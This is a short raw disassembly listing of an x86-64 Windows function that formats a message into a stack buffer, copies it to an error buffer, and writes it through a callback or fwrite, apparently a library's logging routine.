mov r8, rdx
mov qword [rsp + 0x158], rbx
mov edx, 0x100
lea r9, [rsp + 0x180]
lea rcx, [rsp + 0x30]
call fcn.1400736e0
lea rax, [rsp + 0x30]
mov rbx, 0xffffffffffffffff
inc rbx
cmp byte [rax + rbx], 0
jne 0x140084c51
mov rcx, qword [rdi + 0x678]
test rcx, rcx
je 0x140084c98
cmp byte [rdi + 0x1597], 0
jne 0x140084c98
lea rdx, [rsp + 0x30]
nop dword [rax]
nop dword [rax + rax]
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
mov byte [rcx], al
lea rcx, [rcx + 1]
test al, al
jne 0x140084c80
mov byte [rdi + 0x1597], 1
cmp byte [rdi + 0xf1e], 0
je 0x140084cf8
mov byte [rsp + rbx + 0x30], 0xa
inc rbx
cmp rbx, 0x102
jae 0x140084d53
cmp qword [rdi + 0x718], 0
mov byte [rsp + rbx + 0x30], 0
je 0x140084d19
mov dl, 1
mov rcx, rdi
call fcn.140075640
mov rax, qword [rdi + 0x670]
lea r8, [rsp + 0x30]
mov r9, rbx
mov qword [rsp + 0x20], rax
xor edx, edx
mov rcx, rdi
call qword [rdi + 0x718]
xor edx, edx
mov rcx, rdi
call fcn.140075640
mov rbx, qword [rsp + 0x158]
mov rcx, qword [rsp + 0x140]
xor rcx, rsp
call fcn.1400bdd80
add rsp, 0x160
pop rdi
ret
mov r9, qword [rdi + 0x668]
lea rcx, [0x1400c67a0]
mov edx, 2
lea r8d, [rdx - 1]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov r9, qword [rdi + 0x668]
lea rcx, [rsp + 0x30]
mov r8d, 1
mov rdx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
jmp 0x140084cf8
call fcn.1400bdf98
int3